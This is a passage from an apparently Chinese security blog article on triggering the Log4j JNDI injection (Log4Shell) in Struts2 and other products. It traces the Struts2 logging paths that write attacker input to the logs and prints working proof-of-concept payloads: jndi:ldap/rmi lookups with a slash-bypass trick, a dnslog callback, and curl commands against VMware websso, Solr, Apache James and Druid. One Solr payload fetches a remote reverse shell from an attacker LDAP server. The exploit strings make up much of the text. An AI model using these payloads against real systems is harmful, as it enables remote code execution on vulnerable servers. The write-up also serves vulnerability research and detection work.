8px;padding-bottom: 8px;line-height: 26px;">bundle前缀在只引入log4j的项目上默认不支持，测试在spring框架里支持。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>POC</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;">${jndi:ldap://${bundle:bundleName:bundleKey}</span>.ed7yce.dnslog.cn/abc}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3033303330333033" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1111" src="https://wechat2rss.xlab.app/img-proxy/?k=fcdb718f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSM63XmGcq0ialia09o9B8hqKF0qmfiaNtOLS44FnWYRDANWLyXIIqqb9bg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>受影响组件触发方式</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>Struts2<span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>检查请求路径触发<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在struts2-core包的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.struts2.dispatcher.mapper#cleanupActionName</code>中，检查action名的范围是否在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[a-zA-Z0-9._!/\-]</code>内，若存在访问之外的字符，则会将action名输出到WARN日志中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">protected</span> String <span style="color: #61aeee;line-height: 26px;">cleanupActionName</span><span style="line-height: 26px;">(String rawActionName)</span> </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">this</span>.allowedActionNames.matcher(rawActionName).matches()) {<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> rawActionName;<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>        LOG.warn(<span style="color: #98c379;line-height: 26px;">&#34;{} did not match allowed action names {} - default action {} will be used!&#34;</span>, rawActionName, <span style="color: #c678dd;line-height: 26px;">this</span>.allowedActionNames, <span style="color: #c678dd;line-height: 26px;">this</span>.defaultActionName);<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">this</span>.defaultActionName;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在请求路径中两个相邻的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/</code>会被转换为一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/</code>，将其中一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/</code>替换为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">${::-/}</code>可防止被转换。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4298245614035088" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1140" src="https://wechat2rss.xlab.app/img-proxy/?k=9314c245&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSUQjsCicic61nlCElk6KBjGDg81oaSpib96wn9ialaoIfZNibC6S8j7tdruA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有的struts2版本的相同类中还存在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">cleanupNamespaceName</code>方法，利用方式相同。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>POC</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><a href="http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/" target="_blank">http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/</a><br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>检查请求参数长度<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在struts2-core包的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">com.opensymphony.xwork2.interceptor#isWithinLengthLimit</code>中，访问一个存在的action，会检查请求参数名的长度，若长度超过默认的100个字符，请求参数名则会输出到debug日志中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">protected</span> <span style="color: #c678dd;line-height: 26px;">boolean</span> <span style="color: #61aeee;line-height: 26px;">isWithinLengthLimit</span><span style="line-height: 26px;">(String name)</span> </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">boolean</span> matchLength = name.length() &lt;= <span style="color: #c678dd;line-height: 26px;">this</span>.paramNameMaxLength;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (!matchLength) {<br/>        LOG.debug(<span style="color: #98c379;line-height: 26px;">&#34;Parameter [{}] is too long, allowed length is [{}]&#34;</span>, name, String.valueOf(<span style="color: #c678dd;line-height: 26px;">this</span>.paramNameMaxLength));<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">return</span> matchLength;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>POC</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><a href="http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123" target="_blank">http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123</a><br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>获取静态文件If-Modified-Since头<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">struts2在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter#doFilter</code>拦截一个请求，且请求的路径不在排除的路径内，则会先调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">execute</code>属性的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">executeStaticResourceRequest</code>方法，判断是否为静态文件。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5167620605069502" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1223" src="https://wechat2rss.xlab.app/img-proxy/?k=07b93701&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibS4Bjoe6H2GibticA3rMrxz7s9OYB8GRXP22PbCDHDhvNNH06ia18dzNajg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceRequest</code>里，请求以<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">struts</code>或<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">static</code>开头则会交给<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">DefaultStaticContentLoader</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">findStaticResource</code>处理。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.27149964463397297" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1407" src="https://wechat2rss.xlab.app/img-proxy/?k=fe27361f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSqRZjDrribYo23nLgOPzgLAhXkjYvZoevwpxOic5WvVBynDIa7DibT7CZQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.08355795148247978" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1113" src="https://wechat2rss.xlab.app/img-proxy/?k=f3da8d52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSOiaGRblVP0gkE0j5J9pYYHC3alG6Vu3dWicG0kzZqT12IXCscv1ZPCrw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">findStaticResource</code>方法中，静态文件会从struts2 core的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.struts.static</code>包下找，然后会交给同类的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">process</code>方法处理。该包存在以下静态文件。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">tooltip.gif</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">domtt.css</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">utils.js</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">domTT.js</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">inputtransfersselect.js</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">optiontransferselect.js</p></blockquote><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6428571428571429" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1232" src="https://wechat2rss.xlab.app/img-proxy/?k=683b6dc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibS9CpU2DAjibBnrKfUmL36CmkjiamZ58ickYkoh28X00iaGo5NicERMTx0SEg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">process</code>方法里，静态文件输入流非空时，则会尝试将请求头<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">If-Modified-Since</code>的值转为Date类型，当转换失败抛出异常，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">If-Modified-Since</code>的值就会输出到WARN日志中。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.21875" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1312" src="https://wechat2rss.xlab.app/img-proxy/?k=2701a8e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSLNibTGSj8mwDh5wXwZdWNQHoPaE3PnibEqTzCOE51VoVenZSiaRFicc8RQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们访问struts2中默认的静态文件，并设置<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">If-Modified-Since</code>头为非Date类型即可触发log4j漏洞。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>POC</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">curl -vv -H <span style="color: #98c379;line-height: 26px;">&#34;If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}&#34;</span> <a href="http://192.168.217.1:8080/helloworld_war/struts/utils.js" target="_blank">http://192.168.217.1:8080/helloworld_war/struts/utils.js</a><br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>其他受影响组件<span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>vmware<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">curl --insecure  -vv -H <span style="color: #98c379;line-height: 26px;">&#34;X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;<a href="https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest=" target="_blank">https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest=</a>&#34;</span><br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>slor<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">curl <span style="color: #98c379;line-height: 26px;">&#39;<a href="http://localhost:8983/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&amp;wt=json" target="_blank">http://localhost:8983/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&amp;wt=json</a>&#39;</span><br/>curl <span style="color: #98c379;line-height: 26px;">&#39;<a href="http://localhost:8983/solr/admin/cores?action=CREATE&amp;name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&amp;wt=json" target="_blank">http://localhost:8983/solr/admin/cores?action=CREATE&amp;name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&amp;wt=json</a>&#39;</span><br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>James<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #e6c07b;line-height: 26px;">echo</span> 233 &gt; email.txt<br/>curl --url <span style="color: #98c379;line-height: 26px;">&#34;smtp://localhost&#34;</span> --user <span style="color: #98c379;line-height: 26px;">&#34;test:test&#34;</span> --mail-from <span style="color: #98c379;line-height: 26px;">&#39;${jndi:ldap://localhost:1270/abc}@gmail.com&#39;</span> --mail-rcpt <span style="color: #98c379;line-height: 26px;">&#39;test&#39;</span> --upload-file email.txt <br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>Druid<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">curl -vv -X DELETE <span style="color: #98c379;line-height: 26px;">&#39;<a href="http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d" target="_blank">http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d</a>&#39;</span><br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>JSPWiki<span style="display: 